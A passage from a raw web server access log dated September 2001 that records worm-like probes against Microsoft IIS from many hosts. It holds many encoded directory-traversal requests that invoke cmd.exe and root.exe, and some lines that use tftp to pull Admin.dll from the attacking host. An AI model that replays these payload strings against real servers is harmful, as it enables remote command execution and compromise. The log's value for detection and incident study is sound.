/scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:11:38: [128.59.47.63] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:11:56: [128.59.47.63] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:12:15: acquaro2.tc.columbia.edu [128.59.92.20] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 17:34:37: acquaro2.tc.columbia.edu [128.59.92.20] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 17:34:37: acquaro2.tc.columbia.edu [128.59.92.20] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:34:37: acquaro2.tc.columbia.edu [128.59.92.20] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:34:38: acquaro2.tc.columbia.edu [128.59.92.20] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:34:38: acquaro2.tc.columbia.edu [128.59.92.20] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:34:38: acquaro2.tc.columbia.edu [128.59.92.20] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:34:38: acquaro2.tc.columbia.edu [128.59.92.20] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:34:39: acquaro2.tc.columbia.edu [128.59.92.20] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:34:39: acquaro2.tc.columbia.edu [128.59.92.20] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:34:39: acquaro2.tc.columbia.edu [128.59.92.20] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:34:39: acquaro2.tc.columbia.edu [128.59.92.20] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:34:40: acquaro2.tc.columbia.edu [128.59.92.20] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:34:40: acquaro2.tc.columbia.edu [128.59.92.20] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:34:40: acquaro2.tc.columbia.edu [128.59.92.20] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:34:40: acquaro2.tc.columbia.edu [128.59.92.20] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:34:40: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 17:34:56: fms97.facil.columbia.edu [128.59.244.149] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 17:34:56: fms97.facil.columbia.edu [128.59.244.149] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:34:56: fms97.facil.columbia.edu [128.59.244.149] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:34:56: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:34:56: fms97.facil.columbia.edu [128.59.244.149] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:34:56: fms97.facil.columbia.edu [128.59.244.149] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:34:56: fms97.facil.columbia.edu [128.59.244.149] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:34:56: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:34:56: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:34:58: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:34:58: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:34:58: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:34:58: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:34:58: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:34:59: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:34:59: TY140000.BU.EDU [128.197.230.118] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 17:38:49: TY140000.BU.EDU [128.197.230.118] "GET /scripts/root.exe?/c+tftp%20-i%20128.197.230.118%20GET%20Admin.dll%20Admin.dll HTTP/1.0" 20010919 17:38:52: TY140000.BU.EDU [128.197.230.118] "GET /scripts/Admin.dll HTTP/1.0" 20010919 17:38:52: TY140000.BU.EDU [128.197.230.118] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 17:38:53: TY140000.BU.EDU [128.197.230.118] "GET /MSADC/root.exe?/c+tftp%20-i%20128.197.230.118%20GET%20Admin.dll%20Admin.dll HTTP/1.0" 20010919 17:38:53: TY140000.BU.EDU [128.197.230.118] "GET /MSADC/Admin.dll HTTP/1.0" 20010919 17:38:53: TY140000.BU.EDU [128.197.230.118] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:38:53: TY140000.BU.EDU [128.197.230.118] "GET /c/winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.230.118%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010919 17:38:54: TY140000.BU.EDU [128.197.230.118] "GET /c/winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.230.118%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010919 17:38:54: TY140000.BU.EDU [128.197.230.118] "GET /c/winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.230.118%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010919 17:38:54: TY140000.BU.EDU [128.197.230.118] "GET /c/Admin.dll HTTP/1.0" 20010919 17:38:54: TY140000.BU.EDU [128.197.230.118] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:38:55: TY140000.BU.EDU [128.197.230.118] "GET /d/winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.230.118%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010919 17:38:58: TY140000.BU.EDU [128.197.230.118] "GET /d/winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.230.118%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010919 17:39:01: TY140000.BU.EDU [128.197.230.118] "GET /d/winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.230.118%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010919 17:39:02: TY140000.BU.EDU [128.197.230.118] "GET /d/Admin.dll HTTP/1.0" 20010919 17:39:05: TY140000.BU.EDU [128.197.230.118] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:39:09: TY140000.BU.EDU [128.197.230.118] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.230.118%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010919 17:39:09: TY140000.BU.EDU [128.197.230.118] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.230.118%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010919 17:39:13: TY140000.BU.EDU [128.197.230.118] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.230.118%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010919 17:39:13: TY140000.BU.EDU [128.197.230.118] "GET /scripts/..%255c../Admin.dll HTTP/1.0" 20010919 17:39:13: TY140000.BU.EDU [128.197.230.118] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:39:13: TY140000.BU.EDU [128.197.230.118] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.230.118%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010919 17:39:14: TY140000.BU.EDU [128.197.230.118] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.230.118%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010919 17:39:14: TY140000.BU.EDU [128.197.230.118] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.230.118%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010919 17:39:14: TY140000.BU.EDU [128.197.230.118] "GET /_vti_bin/..%255c../..%255c../..%255c../Admin.dll HTTP/1.0" 20010919 17:39:14: TY140000.BU.EDU [128.197.230.118] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:39:24: TY140000.BU.EDU [128.197.230.118] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.230.118%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010919 17:39:24: TY140000.BU.EDU [128.197.230.118] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.230.118%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010919 17:39:27: TY140000.BU.EDU [128.197.230.118] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.230.118%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010919 17:39:28: TY140000.BU.EDU [128.197.230.118] "GET /_mem_bin/..%255c../..%255c../..%255c../Admin.dll HTTP/1.0" 20010919 17:39:28: TY140000.BU.EDU [128.197.230.118] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:39:28: TY140000.BU.EDU [128.197.230.118] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.230.118%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010919 17:39:28: TY140000.BU.EDU [128.197.230.118] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.230.118%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010919 17:39:29: TY140000.BU.EDU [128.197.230.118] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.230.118%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010919 17:39:29: TY140000.BU.EDU [128.197.230.118] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../Admin.dll HTTP/1.0" 20010919 17:39:32: TY140000.BU.EDU [128.197.230.118] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:39:33: TY140000.BU.EDU [128.197.230.118] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.230.118%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010919 17:39:33: TY140000.BU.EDU [128.197.230.118] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.230.118%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010919 17:39:36: TY140000.BU.EDU [128.197.230.118] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.230.118%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010919 17:39:37: TY140000.BU.EDU [128.197.230.118] "GET /scripts/..%c1%1c../Admin.dll HTTP/1.0" 20010919 17:39:37: TY140000.BU.EDU [128.197.230.118] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:39:40: TY140000.BU.EDU [128.197.230.118] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.230.118%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010919 17:39:41: TY140000.BU.EDU [128.197.230.118] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.230.118%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010919 17:39:41: TY140000.BU.EDU [128.197.230.118] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.230.118%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010919 17:39:41: TY140000.BU.EDU [128.197.230.118] "GET /scripts/..%c0%2f../Admin.dll HTTP/1.0" 20010919 17:39:45: TY140000.BU.EDU [128.197.230.118] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:39:45: TY140000.BU.EDU [128.197.230.118] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.230.118%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010919 17:39:45: TY140000.BU.EDU [128.197.230.118] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.230.118%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010919 17:39:52: TY140000.BU.EDU [128.197.230.118] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.230.118%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010919 17:39:52: TY140000.BU.EDU [128.197.230.118] "GET /scripts/..%c0%af../Admin.dll HTTP/1.0" 20010919 17:39:55: TY140000.BU.EDU [128.197.230.118] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:39:56: TY140000.BU.EDU [128.197.230.118] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.230.118%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010919 17:39:56: TY140000.BU.EDU [128.197.230.118] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.230.118%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010919 17:39:56: TY140000.BU.EDU [128.197.230.118] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.230.118%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010919 17:39:56: TY140000.BU.EDU [128.197.230.118] "GET /scripts/..%c1%9c../Admin.dll HTTP/1.0" 20010919 17:39:57: TY140000.BU.EDU [128.197.230.118] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:39:57: TY140000.BU.EDU [128.197.230.118] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.230.118%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010919 17:39:57: TY140000.BU.EDU [128.197.230.118] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.230.118%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010919 17:39:57: TY140000.BU.EDU [128.197.230.118] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.230.118%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010919 17:40:01: TY140000.BU.EDU [128.197.230.118] "GET /scripts/..%%35%63../Admin.dll HTTP/1.0" 20010919 17:40:01: TY140000.BU.EDU [128.197.230.118] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:40:01: TY140000.BU.EDU [128.197.230.118] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.230.118%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010919 17:40:05: TY140000.BU.EDU [128.197.230.118] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.230.118%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010919 17:40:05: TY140000.BU.EDU [128.197.230.118] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.230.118%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010919 17:40:08: TY140000.BU.EDU [128.197.230.118] "GET /scripts/..%%35c../Admin.dll HTTP/1.0" 20010919 17:40:08: TY140000.BU.EDU [128.197.230.118] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:40:09: TY140000.BU.EDU [128.197.230.118] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.230.118%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010919 17:40:09: TY140000.BU.EDU [128.197.230.118] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.230.118%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010919 17:40:09: TY140000.BU.EDU [128.197.230.118] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.230.118%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010919 17:40:13: TY140000.BU.EDU [128.197.230.118] "GET /scripts/..%25%35%63../Admin.dll HTTP/1.0" 20010919 17:40:13: TY140000.BU.EDU [128.197.230.118] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:40:13: TY140000.BU.EDU [128.197.230.118] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.230.118%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010919 17:40:13: TY140000.BU.EDU [128.197.230.118] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.230.118%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010919 17:40:14: TY140000.BU.EDU [128.197.230.118] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.230.118%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010919 17:40:17: TY140000.BU.EDU [128.197.230.118] "GET /scripts/..%252f../Admin.dll HTTP/1.0" 20010919 17:40:17: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 17:42:52: borenti2.law.columbia.edu [128.59.176.142] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 17:42:52: borenti2.law.columbia.edu [128.59.176.142] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:42:52: borenti2.law.columbia.edu [128.59.176.142] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:42:52: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:42:52: borenti2.law.columbia.edu [128.59.176.142] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:42:52: borenti2.law.columbia.edu [128.59.176.142] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:42:53: borenti2.law.columbia.edu [128.59.176.142] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:42:53: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:42:54: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:42:55: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:42:56: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:42:56: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:42:58: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:42:58: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:42:58: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:42:58: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 17:46:01: fms97.facil.columbia.edu [128.59.244.149] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 17:46:01: fms97.facil.columbia.edu [128.59.244.149] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:46:01: fms97.facil.columbia.edu [128.59.244.149] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:46:03: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:46:04: fms97.facil.columbia.edu [128.59.244.149] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:46:04: fms97.facil.columbia.edu [128.59.244.149] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:46:04: fms97.facil.columbia.edu [128.59.244.149] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:46:04: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:46:04: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:46:04: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:46:04: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:46:04: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:46:04: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:46:04: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:46:04: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:46:04: ushchr-24b.ucsf.edu [128.218.133.31] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 17:52:15: ushchr-24b.ucsf.edu [128.218.133.31] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 17:52:15: ushchr-24b.ucsf.edu [128.218.133.31] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:52:15: ushchr-24b.ucsf.edu [128.218.133.31] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:52:16: ushchr-24b.ucsf.edu [128.218.133.31] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:52:16: ushchr-24b.ucsf.edu [128.218.133.31] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:52:16: ushchr-24b.ucsf.edu [128.218.133.31] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:52:16: ushchr-24b.ucsf.edu [128.218.133.31] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:52:17: ushchr-24b.ucsf.edu [128.218.133.31] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:52:17: ushchr-24b.ucsf.edu [128.218.133.31] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:52:17: ushchr-24b.ucsf.edu [128.218.133.31] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:52:17: ushchr-24b.ucsf.edu [128.218.133.31] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:52:18: ushchr-24b.ucsf.edu [128.218.133.31] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:52:18: ushchr-24b.ucsf.edu [128.218.133.31] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:52:18: ushchr-24b.ucsf.edu [128.218.133.31] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:52:18: ushchr-24b.ucsf.edu [128.218.133.31] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:52:19: jaegerprivateequity.com [128.242.192.134] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 17:54:41: jaegerprivateequity.com [128.242.192.134] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 17:54:42: jaegerprivateequity.com [128.242.192.134] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:54:42: jaegerprivateequity.com [128.242.192.134] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:54:42: jaegerprivateequity.com [128.242.192.134] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:54:43: jaegerprivateequity.com [128.242.192.134] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:54:43: [128.248.199.43] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 17:57:58: [128.248.199.43] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 17:58:16: [128.248.199.43] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:58:35: [128.248.199.43] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:58:53: [128.248.199.43] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:59:11: [128.248.199.43] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:59:30: [128.248.199.43] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 17:59:48: [128.248.199.43] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:00:06: [128.248.199.43] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:00:25: [128.248.199.43] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:00:43: [128.248.199.43] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:01:01: [128.248.199.43] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:01:19: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 18:01:19: [128.59.47.63] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 18:01:38: BOS-ADMIN108.BU.EDU [128.197.235.108] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 18:01:41: [128.248.199.43] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:01:59: tfh-office.phys.columbia.edu [128.59.132.194] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 18:01:59: [128.59.47.63] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 18:02:17: 